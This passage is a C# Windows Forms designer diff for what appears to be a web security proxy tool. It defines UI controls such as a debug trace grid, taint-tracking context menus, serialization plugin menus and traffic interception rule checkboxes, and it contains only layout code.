this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(673, 177); + this.tabPage3.TabIndex = 1; + this.tabPage3.Text = "Response"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // SessionPluginTraceResponseView + // + this.SessionPluginTraceResponseView.BackColor = System.Drawing.Color.White; + this.SessionPluginTraceResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceResponseView.IncludeReflectionTab = true; + this.SessionPluginTraceResponseView.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceResponseView.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceResponseView.Name = "SessionPluginTraceResponseView"; + this.SessionPluginTraceResponseView.ReadOnly = true; + this.SessionPluginTraceResponseView.Size = new System.Drawing.Size(673, 177); + this.SessionPluginTraceResponseView.TabIndex = 0; + // + // DebugTraceTab + // + this.DebugTraceTab.Controls.Add(this.TraceBaseSplit); + this.DebugTraceTab.Location = new System.Drawing.Point(4, 22); + this.DebugTraceTab.Margin = new System.Windows.Forms.Padding(0); + this.DebugTraceTab.Name = "DebugTraceTab"; + this.DebugTraceTab.Size = new System.Drawing.Size(689, 459); + this.DebugTraceTab.TabIndex = 0; + this.DebugTraceTab.Text = " Debug Trace "; + this.DebugTraceTab.UseVisualStyleBackColor = true; + // + // TraceBaseSplit + // + this.TraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.TraceBaseSplit.Location = new System.Drawing.Point(0, 0); + this.TraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.TraceBaseSplit.Name = "TraceBaseSplit"; + this.TraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // TraceBaseSplit.Panel1 + // + this.TraceBaseSplit.Panel1.Controls.Add(this.TraceGrid); + // + // TraceBaseSplit.Panel2 + // + this.TraceBaseSplit.Panel2.Controls.Add(this.TraceMsgRTB); + this.TraceBaseSplit.Size = new System.Drawing.Size(689, 459); + this.TraceBaseSplit.SplitterDistance = 210; + this.TraceBaseSplit.TabIndex = 1; + // + // TraceGrid + // + this.TraceGrid.AllowUserToAddRows = false; + this.TraceGrid.AllowUserToDeleteRows = false; + this.TraceGrid.AllowUserToOrderColumns = true; + this.TraceGrid.AllowUserToResizeRows = false; + this.TraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.TraceGrid.BackgroundColor = System.Drawing.Color.White; + this.TraceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle50.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle50.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle50.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle50.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle50.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle50.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle50.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.TraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle50; + this.TraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.TraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn26, + this.dataGridViewTextBoxColumn28, + this.Column1, + this.dataGridViewTextBoxColumn29, + this.dataGridViewTextBoxColumn30, + this.dataGridViewTextBoxColumn31}); + this.TraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.TraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.TraceGrid.GridColor = System.Drawing.Color.White; + this.TraceGrid.Location = new System.Drawing.Point(0, 0); + this.TraceGrid.Margin = new System.Windows.Forms.Padding(0); + this.TraceGrid.MultiSelect = false; + this.TraceGrid.Name = "TraceGrid"; + this.TraceGrid.ReadOnly = true; + this.TraceGrid.RowHeadersVisible = false; + this.TraceGrid.RowHeadersWidth = 10; + this.TraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.TraceGrid.Size = new System.Drawing.Size(689, 210); + this.TraceGrid.TabIndex = 8; + this.TraceGrid.SelectionChanged += new System.EventHandler(this.TraceGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn26 + // + this.dataGridViewTextBoxColumn26.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn26.HeaderText = "ID"; + this.dataGridViewTextBoxColumn26.MinimumWidth = 50; + this.dataGridViewTextBoxColumn26.Name = "dataGridViewTextBoxColumn26"; + this.dataGridViewTextBoxColumn26.ReadOnly = true; + this.dataGridViewTextBoxColumn26.Width = 50; + // + // dataGridViewTextBoxColumn28 + // + this.dataGridViewTextBoxColumn28.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn28.HeaderText = "TIME"; + this.dataGridViewTextBoxColumn28.MinimumWidth = 50; + this.dataGridViewTextBoxColumn28.Name = "dataGridViewTextBoxColumn28"; + this.dataGridViewTextBoxColumn28.ReadOnly = true; + this.dataGridViewTextBoxColumn28.Width = 58; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column1.HeaderText = "DATE"; + this.Column1.MinimumWidth = 20; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + this.Column1.Width = 60; + // + // dataGridViewTextBoxColumn29 + // + this.dataGridViewTextBoxColumn29.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn29.HeaderText = "THREAD ID"; + this.dataGridViewTextBoxColumn29.MinimumWidth = 30; + this.dataGridViewTextBoxColumn29.Name = "dataGridViewTextBoxColumn29"; + this.dataGridViewTextBoxColumn29.ReadOnly = true; + this.dataGridViewTextBoxColumn29.Width = 91; + // + // dataGridViewTextBoxColumn30 + // + this.dataGridViewTextBoxColumn30.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn30.HeaderText = "SOURCE"; + this.dataGridViewTextBoxColumn30.MinimumWidth = 50; + this.dataGridViewTextBoxColumn30.Name = "dataGridViewTextBoxColumn30"; + this.dataGridViewTextBoxColumn30.ReadOnly = true; + this.dataGridViewTextBoxColumn30.Width = 77; + // + // dataGridViewTextBoxColumn31 + // + this.dataGridViewTextBoxColumn31.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn31.HeaderText = "MESSAGE"; + this.dataGridViewTextBoxColumn31.MinimumWidth = 150; + this.dataGridViewTextBoxColumn31.Name = "dataGridViewTextBoxColumn31"; + this.dataGridViewTextBoxColumn31.ReadOnly = true; + // + // TraceMsgRTB + // + this.TraceMsgRTB.BackColor = System.Drawing.Color.White; + this.TraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.TraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.TraceMsgRTB.Location = new System.Drawing.Point(0, 0); + this.TraceMsgRTB.Name = "TraceMsgRTB"; + this.TraceMsgRTB.ReadOnly = true; + this.TraceMsgRTB.Size = new System.Drawing.Size(689, 245); + this.TraceMsgRTB.TabIndex = 0; + this.TraceMsgRTB.Text = ""; + this.TraceMsgRTB.LinkClicked += new System.Windows.Forms.LinkClickedEventHandler(this.TraceMsgRTB_LinkClicked); + // + // DevHelpTab + // + this.DevHelpTab.Controls.Add(this.DevHelpTB); + this.DevHelpTab.Location = new System.Drawing.Point(4, 22); + this.DevHelpTab.Name = "DevHelpTab"; + this.DevHelpTab.Size = new System.Drawing.Size(697, 485); + this.DevHelpTab.TabIndex = 2; + this.DevHelpTab.Text = " Help "; + this.DevHelpTab.UseVisualStyleBackColor = true; + // + // DevHelpTB + // + this.DevHelpTB.BackColor = System.Drawing.Color.White; + this.DevHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DevHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.DevHelpTB.Location = new System.Drawing.Point(0, 0); + this.DevHelpTB.Multiline = true; + this.DevHelpTB.Name = "DevHelpTB"; + this.DevHelpTB.ReadOnly = true; + this.DevHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.DevHelpTB.Size = new System.Drawing.Size(697, 485); + this.DevHelpTB.TabIndex = 2; + this.DevHelpTB.TabStop = false; + this.DevHelpTB.Text = resources.GetString("DevHelpTB.Text"); + // + // JSTainTraceEditMenu + // + this.JSTainTraceEditMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.AddSourceTaintToolStripMenuItem, + this.AddSinkTaintToolStripMenuItem, + this.RemoveSourceTaintToolStripMenuItem, + this.RemoveSinkTaintToolStripMenuItem, + this.CopyLineTaintToolStripMenuItem}); + this.JSTainTraceEditMenu.Name = "JSTainTraceEditMenu"; + this.JSTainTraceEditMenu.Size = new System.Drawing.Size(187, 114); + // + // AddSourceTaintToolStripMenuItem + // + this.AddSourceTaintToolStripMenuItem.Name = "AddSourceTaintToolStripMenuItem"; + this.AddSourceTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); + this.AddSourceTaintToolStripMenuItem.Text = "Set Source Taint"; + // + // AddSinkTaintToolStripMenuItem + // + this.AddSinkTaintToolStripMenuItem.Name = "AddSinkTaintToolStripMenuItem"; + this.AddSinkTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); + this.AddSinkTaintToolStripMenuItem.Text = "Set Sink Taint"; + // + // RemoveSourceTaintToolStripMenuItem + // + this.RemoveSourceTaintToolStripMenuItem.Name = "RemoveSourceTaintToolStripMenuItem"; + this.RemoveSourceTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); + this.RemoveSourceTaintToolStripMenuItem.Text = "Remove Source Taint"; + // + // RemoveSinkTaintToolStripMenuItem + // + this.RemoveSinkTaintToolStripMenuItem.Name = "RemoveSinkTaintToolStripMenuItem"; + this.RemoveSinkTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); + this.RemoveSinkTaintToolStripMenuItem.Text = "Remove Sink Taint"; + // + // CopyLineTaintToolStripMenuItem + // + this.CopyLineTaintToolStripMenuItem.Name = "CopyLineTaintToolStripMenuItem"; + this.CopyLineTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); + this.CopyLineTaintToolStripMenuItem.Text = "Copy Line"; + // + // MTRequestFormatPluginsMenu + // + this.MTRequestFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.MTRequestDeSerObjectToXmlMenuItem, + this.MTRequestSerXmlToObjectMenuItem}); + this.MTRequestFormatPluginsMenu.Name = "ProxyLogMenu"; + this.MTRequestFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); + // + // MTRequestDeSerObjectToXmlMenuItem + // + this.MTRequestDeSerObjectToXmlMenuItem.Name = "MTRequestDeSerObjectToXmlMenuItem"; + this.MTRequestDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); + this.MTRequestDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; + // + // MTRequestSerXmlToObjectMenuItem + // + this.MTRequestSerXmlToObjectMenuItem.Name = "MTRequestSerXmlToObjectMenuItem"; + this.MTRequestSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); + this.MTRequestSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; + // + // ProxyResponseFormatPluginsMenu + // + this.ProxyResponseFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ProxyResponseDeSerObjectToXmlMenuItem, + this.ProxyResponseSerXmlToObjectMenuItem}); + this.ProxyResponseFormatPluginsMenu.Name = "ProxyLogMenu"; + this.ProxyResponseFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); + // + // ProxyResponseDeSerObjectToXmlMenuItem + // + this.ProxyResponseDeSerObjectToXmlMenuItem.Name = "ProxyResponseDeSerObjectToXmlMenuItem"; + this.ProxyResponseDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); + this.ProxyResponseDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; + // + // ProxyResponseSerXmlToObjectMenuItem + // + this.ProxyResponseSerXmlToObjectMenuItem.Name = "ProxyResponseSerXmlToObjectMenuItem"; + this.ProxyResponseSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); + this.ProxyResponseSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; + // + // ProxyRequestFormatPluginsMenu + // + this.ProxyRequestFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ProxyRequestDeSerObjectToXmlMenuItem, + this.ProxyRequestSerXmlToObjectMenuItem}); + this.ProxyRequestFormatPluginsMenu.Name = "ProxyLogMenu"; + this.ProxyRequestFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); + // + // ProxyRequestDeSerObjectToXmlMenuItem + // + this.ProxyRequestDeSerObjectToXmlMenuItem.Name = "ProxyRequestDeSerObjectToXmlMenuItem"; + this.ProxyRequestDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); + this.ProxyRequestDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; + // + // ProxyRequestSerXmlToObjectMenuItem + // + this.ProxyRequestSerXmlToObjectMenuItem.Name = "ProxyRequestSerXmlToObjectMenuItem"; + this.ProxyRequestSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); + this.ProxyRequestSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; + // + // ConfigPanel + // + this.ConfigPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigPanel.AutoScroll = true; + this.ConfigPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.ConfigPanel.Controls.Add(this.ConfigPanelTabs); + this.ConfigPanel.Location = new System.Drawing.Point(1, 25); + this.ConfigPanel.Name = "ConfigPanel"; + this.ConfigPanel.Size = new System.Drawing.Size(883, 10); + this.ConfigPanel.TabIndex = 1; + this.ConfigPanel.Visible = false; + // + // ConfigPanelTabs + // + this.ConfigPanelTabs.Controls.Add(this.ConfigInterceptRulesTab); + this.ConfigPanelTabs.Controls.Add(this.ConfigDisplayRulesTab); + this.ConfigPanelTabs.Controls.Add(this.ConfigScriptingTab); + this.ConfigPanelTabs.Controls.Add(this.ConfigHTTPAPITab); + this.ConfigPanelTabs.Controls.Add(this.ConfigTaintConfigTab); + this.ConfigPanelTabs.Controls.Add(this.ConfigPassiveAnalysisTab); + this.ConfigPanelTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigPanelTabs.Location = new System.Drawing.Point(0, 0); + this.ConfigPanelTabs.Margin = new System.Windows.Forms.Padding(0); + this.ConfigPanelTabs.Name = "ConfigPanelTabs"; + this.ConfigPanelTabs.Padding = new System.Drawing.Point(0, 0); + this.ConfigPanelTabs.SelectedIndex = 0; + this.ConfigPanelTabs.Size = new System.Drawing.Size(881, 8); + this.ConfigPanelTabs.TabIndex = 0; + this.ConfigPanelTabs.SelectedIndexChanged += new System.EventHandler(this.ConfigPanelTabs_SelectedIndexChanged); + // + // ConfigInterceptRulesTab + // + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleRequestOnResponseRulesCB); + this.ConfigInterceptRulesTab.Controls.Add(this.label25); + this.ConfigInterceptRulesTab.Controls.Add(this.label24); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleKeywordInResponseGB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentJSONCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleKeywordInRequestGB); + this.ConfigInterceptRulesTab.Controls.Add(this.groupBox2); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleApplyChangesLL); + this.ConfigInterceptRulesTab.Controls.Add(this.groupBox1); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCancelChangesLL); + this.ConfigInterceptRulesTab.Controls.Add(this.label10); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentCSSCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode5xxCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentJSCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode500CB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentImgCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode4xxCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentOtherBinaryCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode403CB); + this.ConfigInterceptRulesTab.Controls.Add(this.label9); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode3xxCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentHTMLCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode301_2CB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleGETMethodCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode2xxCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRulePOSTMethodCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode200CB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleOtherMethodsCB); + this.ConfigInterceptRulesTab.Controls.Add(this.label13); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentOtherTextCB); + this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentXMLCB); + this.ConfigInterceptRulesTab.Location = new System.Drawing.Point(4, 22); + this.ConfigInterceptRulesTab.Name = "ConfigInterceptRulesTab"; + this.ConfigInterceptRulesTab.Size = new System.Drawing.Size(873, 0); + this.ConfigInterceptRulesTab.TabIndex = 4; + this.ConfigInterceptRulesTab.Text = "Proxy Traffic Interception Rules"; + this.ConfigInterceptRulesTab.UseVisualStyleBackColor = true; + // + // ConfigRuleRequestOnResponseRulesCB + // + this.ConfigRuleRequestOnResponseRulesCB.AutoSize = true; + this.ConfigRuleRequestOnResponseRulesCB.Checked = true; + this.ConfigRuleRequestOnResponseRulesCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleRequestOnResponseRulesCB.Location = new System.Drawing.Point(682, 205); + this.ConfigRuleRequestOnResponseRulesCB.Name = "ConfigRuleRequestOnResponseRulesCB"; + this.ConfigRuleRequestOnResponseRulesCB.Size = new System.Drawing.Size(186, 17); + this.ConfigRuleRequestOnResponseRulesCB.TabIndex = 70; + this.ConfigRuleRequestOnResponseRulesCB.Text = "Response Rules + Request Rules"; + this.ConfigRuleRequestOnResponseRulesCB.UseVisualStyleBackColor = true; + // + // label25 + // + this.label25.AutoSize = true; + this.label25.Location = new System.Drawing.Point(5, 204); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(88, 13); + this.label25.TabIndex = 69; + this.label25.Text = "Response Rules:"; + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Location = new System.Drawing.Point(5, 5); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(80, 13); + this.label24.TabIndex = 68; + this.label24.Text = "Request Rules:"; + // + // ConfigRuleKeywordInResponseGB + // + this.ConfigRuleKeywordInResponseGB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseCB); + this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponsePlusTB); + this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseMinusTB); + this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponsePlusRB); + this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseMinusRB); + this.ConfigRuleKeywordInResponseGB.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.ConfigRuleKeywordInResponseGB.Location = new System.Drawing.Point(2, 260); + this.ConfigRuleKeywordInResponseGB.Name = "ConfigRuleKeywordInResponseGB"; + this.ConfigRuleKeywordInResponseGB.Size = new System.Drawing.Size(868, 52); + this.ConfigRuleKeywordInResponseGB.TabIndex = 66; + this.ConfigRuleKeywordInResponseGB.TabStop = false; + // + // ConfigRuleKeywordInResponseCB + // + this.ConfigRuleKeywordInResponseCB.AutoSize = true; + this.ConfigRuleKeywordInResponseCB.Location = new System.Drawing.Point(8, 20); + this.ConfigRuleKeywordInResponseCB.Name = "ConfigRuleKeywordInResponseCB"; + this.ConfigRuleKeywordInResponseCB.Size = new System.Drawing.Size(132, 17); + this.ConfigRuleKeywordInResponseCB.TabIndex = 59; + this.ConfigRuleKeywordInResponseCB.Text = "Keyword in Response:"; + this.ConfigRuleKeywordInResponseCB.UseVisualStyleBackColor = true; + this.ConfigRuleKeywordInResponseCB.CheckedChanged += new System.EventHandler(this.ConfigRuleKeywordInResponseCB_CheckedChanged); + // + // ConfigRuleKeywordInResponsePlusTB + // + this.ConfigRuleKeywordInResponsePlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInResponsePlusTB.Enabled = false; + this.ConfigRuleKeywordInResponsePlusTB.Location = new System.Drawing.Point(180, 8); + this.ConfigRuleKeywordInResponsePlusTB.Name = "ConfigRuleKeywordInResponsePlusTB"; + this.ConfigRuleKeywordInResponsePlusTB.Size = new System.Drawing.Size(685, 20); + this.ConfigRuleKeywordInResponsePlusTB.TabIndex = 51; + // + // ConfigRuleKeywordInResponseMinusTB + // + this.ConfigRuleKeywordInResponseMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInResponseMinusTB.Enabled = false; + this.ConfigRuleKeywordInResponseMinusTB.Location = new System.Drawing.Point(180, 29); + this.ConfigRuleKeywordInResponseMinusTB.Name = "ConfigRuleKeywordInResponseMinusTB"; + this.ConfigRuleKeywordInResponseMinusTB.Size = new System.Drawing.Size(685, 20); + this.ConfigRuleKeywordInResponseMinusTB.TabIndex = 52; + // + // ConfigRuleKeywordInResponsePlusRB + // + this.ConfigRuleKeywordInResponsePlusRB.AutoSize = true; + this.ConfigRuleKeywordInResponsePlusRB.Enabled = false; + this.ConfigRuleKeywordInResponsePlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleKeywordInResponsePlusRB.Location = new System.Drawing.Point(142, 9); + this.ConfigRuleKeywordInResponsePlusRB.Name = "ConfigRuleKeywordInResponsePlusRB"; + this.ConfigRuleKeywordInResponsePlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigRuleKeywordInResponsePlusRB.TabIndex = 57; + this.ConfigRuleKeywordInResponsePlusRB.TabStop = true; + this.ConfigRuleKeywordInResponsePlusRB.Text = "+"; + this.ConfigRuleKeywordInResponsePlusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleKeywordInResponseMinusRB + // + this.ConfigRuleKeywordInResponseMinusRB.AutoSize = true; + this.ConfigRuleKeywordInResponseMinusRB.Enabled = false; + this.ConfigRuleKeywordInResponseMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleKeywordInResponseMinusRB.Location = new System.Drawing.Point(142, 28); + this.ConfigRuleKeywordInResponseMinusRB.Name = "ConfigRuleKeywordInResponseMinusRB"; + this.ConfigRuleKeywordInResponseMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigRuleKeywordInResponseMinusRB.TabIndex = 58; + this.ConfigRuleKeywordInResponseMinusRB.TabStop = true; + this.ConfigRuleKeywordInResponseMinusRB.Text = "-"; + this.ConfigRuleKeywordInResponseMinusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentJSONCB + // + this.ConfigRuleContentJSONCB.AutoSize = true; + this.ConfigRuleContentJSONCB.Checked = true; + this.ConfigRuleContentJSONCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleContentJSONCB.Location = new System.Drawing.Point(331, 244); + this.ConfigRuleContentJSONCB.Name = "ConfigRuleContentJSONCB"; + this.ConfigRuleContentJSONCB.Size = new System.Drawing.Size(54, 17); + this.ConfigRuleContentJSONCB.TabIndex = 67; + this.ConfigRuleContentJSONCB.Text = "JSON"; + this.ConfigRuleContentJSONCB.UseVisualStyleBackColor = true; + // + // ConfigRuleKeywordInRequestGB + // + this.ConfigRuleKeywordInRequestGB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestCB); + this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestPlusTB); + this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestMinusTB); + this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestPlusRB); + this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestMinusRB); + this.ConfigRuleKeywordInRequestGB.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.ConfigRuleKeywordInRequestGB.Location = new System.Drawing.Point(2, 145); + this.ConfigRuleKeywordInRequestGB.Name = "ConfigRuleKeywordInRequestGB"; + this.ConfigRuleKeywordInRequestGB.Size = new System.Drawing.Size(868, 52); + this.ConfigRuleKeywordInRequestGB.TabIndex = 65; + this.ConfigRuleKeywordInRequestGB.TabStop = false; + // + // ConfigRuleKeywordInRequestCB + // + this.ConfigRuleKeywordInRequestCB.AutoSize = true; + this.ConfigRuleKeywordInRequestCB.Location = new System.Drawing.Point(8, 20); + this.ConfigRuleKeywordInRequestCB.Name = "ConfigRuleKeywordInRequestCB"; + this.ConfigRuleKeywordInRequestCB.Size = new System.Drawing.Size(124, 17); + this.ConfigRuleKeywordInRequestCB.TabIndex = 59; + this.ConfigRuleKeywordInRequestCB.Text = "Keyword in Request:"; + this.ConfigRuleKeywordInRequestCB.UseVisualStyleBackColor = true; + this.ConfigRuleKeywordInRequestCB.CheckedChanged += new System.EventHandler(this.ConfigRuleKeywordInRequestCB_CheckedChanged); + // + // ConfigRuleKeywordInRequestPlusTB + // + this.ConfigRuleKeywordInRequestPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInRequestPlusTB.Enabled = false; + this.ConfigRuleKeywordInRequestPlusTB.Location = new System.Drawing.Point(180, 8); + this.ConfigRuleKeywordInRequestPlusTB.Name = "ConfigRuleKeywordInRequestPlusTB"; + this.ConfigRuleKeywordInRequestPlusTB.Size = new System.Drawing.Size(685, 20); + this.ConfigRuleKeywordInRequestPlusTB.TabIndex = 51; + // + // ConfigRuleKeywordInRequestMinusTB + // + this.ConfigRuleKeywordInRequestMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleKeywordInRequestMinusTB.Enabled = false; + this.ConfigRuleKeywordInRequestMinusTB.Location = new System.Drawing.Point(180, 29); + this.ConfigRuleKeywordInRequestMinusTB.Name = "ConfigRuleKeywordInRequestMinusTB"; + this.ConfigRuleKeywordInRequestMinusTB.Size = new System.Drawing.Size(685, 20); + this.ConfigRuleKeywordInRequestMinusTB.TabIndex = 52; + // + // ConfigRuleKeywordInRequestPlusRB + // + this.ConfigRuleKeywordInRequestPlusRB.AutoSize = true; + this.ConfigRuleKeywordInRequestPlusRB.Enabled = false; + this.ConfigRuleKeywordInRequestPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleKeywordInRequestPlusRB.Location = new System.Drawing.Point(142, 9); + this.ConfigRuleKeywordInRequestPlusRB.Name = "ConfigRuleKeywordInRequestPlusRB"; + this.ConfigRuleKeywordInRequestPlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigRuleKeywordInRequestPlusRB.TabIndex = 57; + this.ConfigRuleKeywordInRequestPlusRB.TabStop = true; + this.ConfigRuleKeywordInRequestPlusRB.Text = "+"; + this.ConfigRuleKeywordInRequestPlusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleKeywordInRequestMinusRB + // + this.ConfigRuleKeywordInRequestMinusRB.AutoSize = true; + 